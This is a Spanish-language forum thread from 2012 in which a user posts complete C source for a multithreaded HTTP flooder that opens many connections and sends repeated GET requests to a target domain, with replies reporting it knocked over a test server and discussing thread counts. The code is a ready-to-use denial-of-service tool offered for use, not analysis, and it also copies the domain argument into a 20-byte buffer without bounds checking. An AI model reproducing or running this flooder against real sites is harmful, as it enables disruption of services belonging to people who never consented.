[Aporte] Flooder HTTP

Iniciado por 0xDani, 29 Octubre 2012, 16:36 PM

0 Miembros y 1 Visitante están viendo este tema.

0xDani

Bueno aqui dejo este codigo que he estado haciendo estos dias, espero que les guste, se aceptan sugerencias, criticas constructivas, comentarios... etc. Basicamente crea varios hilos (he llegado a probar hasta 50) y cada uno de estos hilos envia peticiones HTTP a la pagina objetivo.

#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <sys/types.h>
#include <stdbool.h>


#define MAX_dani 0xF0000

struct params{ /* En esta estructura se almacenan los parametros de la funcion t*/
  char web[20]; // Dominio web
  int port;  // Puerto (sera el 80, para peticiones HTTP)
  int thread; // El numero de thread
  int nrequests; // El numero de peticiones
  int sleeptime; // El tiempo de espera entre cada peticion
};

int total_requests; // Para almacenar el numero total de peticiones
pthread_mutex_t lock; // Para evitar que varios threads modifiquen total_requests a la vez
int nthreads; // Numero de threads a crear

void* t(void *p) /* Esta es la funcion que va a ejecutar cada thread*/
{
  int n = ((struct params*)p)->thread+1; // El numero de thread
  printf("Proceso %i: presente\n", n); // Presentacion
  char request[128]; // Para almacenar la peticion
  _Bool connected; // Variable auxiliar, indica si el socket esta conectado
  struct hostent *host = gethostbyname(((struct params*)p)->web); // Obtener la IP de la web
  if(!host)
  {
    printf("Proceso %i: No se ha podido resolver la direccion del servidor\n", n);
    return NULL;
  }
  printf("Proceso %i: Direccion IP(v4): %s\n", n, inet_ntoa(*((struct in_addr *)host->h_addr)));
  /*Para getpeername()*/
  struct sockaddr sockbuf;
  int stsize = sizeof(sockbuf);
  /*Preparar los datos de la conexion */
  struct sockaddr_in sock;
  sock.sin_family = AF_INET;
  sock.sin_port = htons(((struct params*)p)->port);
  sock.sin_addr.s_addr = inet_addr(inet_ntoa(*((struct in_addr *)host->h_addr)));

  int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // Creamos el socket
if(sockfd==-1)
{
  printf("Proceso %i: No se pudo crear el socket\n", n);
  return NULL;
}
printf("Proceso %i: Socket creado\n", n);
printf("Proceso %i: Conectando...\n", n);
int aux;
connect(sockfd, (struct sockaddr*) &sock, sizeof(struct sockaddr)); // Conectamos
printf("Proceso %i: Conectado\n", n);
connected=true;
sprintf(request, "GET / HTTP/1.1\nHost: %s\nUser-Agent: Mozilla/4.0\n\n ", host->h_name); // Ponemos la peticion en una cadena
printf("Proceso %i: Peticion en request\n", n);
for(aux=0; aux<(((struct params*)p)->nrequests); aux++)
{
   if(getpeername(sockfd, &sockbuf, &stsize)<0) // Comprobar que el socket esta conectado
   {
     if(errno==ENOTCONN) // Si no lo esta, cerrar y reconectar
     printf("Proceso %i: Reconectando socket...\n", n);
     close(sockfd);
     sockfd = socket(AF_INET, SOCK_STREAM, 0);
     if(connect(sockfd, (struct sockaddr*) &sock, sizeof(struct sockaddr))==-1)
     {
      connected=false;
      break;
     }
   }
   if(!connected) // Si no se pudo reconectar, decrementar aux y reiniciar el bucle
   {
     aux--;
     continue;
   }
   write(sockfd, request, strlen(request)); // Hacer la peticion HTTP
   printf("Proceso %i: %i peticion/es\n", n, aux+1);
   pthread_mutex_lock(&lock); // Incrementar el numero total de peticiones
   total_requests++;
   pthread_mutex_unlock(&lock);
   sleep(((struct params*)p)->sleeptime); // Pausar
   }
close(sockfd); // Cerrar el socket
pthread_exit(NULL); // Salir
}

int main(int argc, char *argv[])
{
/*Tratamiento de linea de comandos*/
if(argc!=6)
  {
   printf("Uso: %s numero_de_threads dominio_web puerto(80) numero_de_peticiones_por_thread tiempo_de_espera\n", argv[0]);
   exit(0);
  }


/*Inicializar algunas estructuras y parametros*/
pthread_mutex_init(&lock, NULL);
pthread_t *mythreads = (pthread_t*)malloc(atoi(argv[1])*sizeof(pthread_t));
pthread_attr_t a;
struct params *p = (struct params*)malloc(atoi(argv[1])*sizeof(struct params));
int i, ret, j; // Algunas variables auxiliares
nthreads = atoi(argv[1]); // Numero de threads
for(j=0; j<nthreads; j++)
{
  strcpy(p[j].web, argv[2]);
  p[j].thread = j;
  p[j].port = atoi(argv[3]);
  p[j].nrequests = atoi(argv[4]);
  p[j].sleeptime = atoi(argv[5]);
}
/*Setear la cantidad de memoria que un thread puede usar*/
pthread_attr_init(&a);
pthread_attr_setstacksize(&a, MAX_dani);
/*Saber el tiempo que hace que se inicio el programa*/
time_t start=time(NULL), end;
/*Crear los threads*/
for(i=0; i<nthreads; i++)
{
  ret = pthread_create(&mythreads[i], &a, t, &p[i]);
  switch(ret)
  {
   case 0:
    printf("Thread %i creado\n", i+1);
    break;
   case EAGAIN:
    printf("EAGAIN\n");
    _exit(1);
   case EINVAL:
    printf("EINVAL\n");
    _exit(2);
   case EPERM:
    printf("EPERM\n");
    _exit(3);
  }
}
/*Esperar a que terminen los threads, liberar memoria y mostrar algunas estadisticas aproximadas*/
pthread_attr_destroy(&a);
for(j=0; j<nthreads; j++)
pthread_join(mythreads[j], NULL);
end=time(NULL);
pthread_mutex_destroy(&lock);
printf("Retornaron los hilos\n");
printf("Total de peticiones: %i\n", total_requests);
printf("Numero de peticiones por segundo: %lf\n", total_requests/((double)(difftime(end, start))));
free(mythreads);
free(p);
return 0;
}


Saludos!
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM

NeoB

#1
Muchas gracias! Lo he probado y funciona a la perfección. Mi servidor se las ha tragado enteritas y se ha atragantado XD.
Muchas gracias por el aporte.

Stakewinner00

ya te funciona? despues miro si cae mi wifi k el otro dia con el mio salia como k enviaba pero no hacia nada

xiruko

gracias por postearlo!

aprovechare y me mirare esta manera de crear hilos de ejecucion... aunque tengo una pregunta: no seria lo mismo hacerlo solo con 1 hilo pero con menos tiempo entre las requests? no tengo mucha idea de esto xD

un saludo!

0xDani

Cita de: xiruko en 29 Octubre 2012, 21:24 PM
gracias por postearlo!

aprovechare y me mirare esta manera de crear hilos de ejecucion... aunque tengo una pregunta: no seria lo mismo hacerlo solo con 1 hilo pero con menos tiempo entre las requests? no tengo mucha idea de esto xD

un saludo!

Puedes probar a usar varios threads con un tiempo de espera, y luego hacerlo con uno solo. A mi normalmente me es mas eficiente con varios hilos.
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM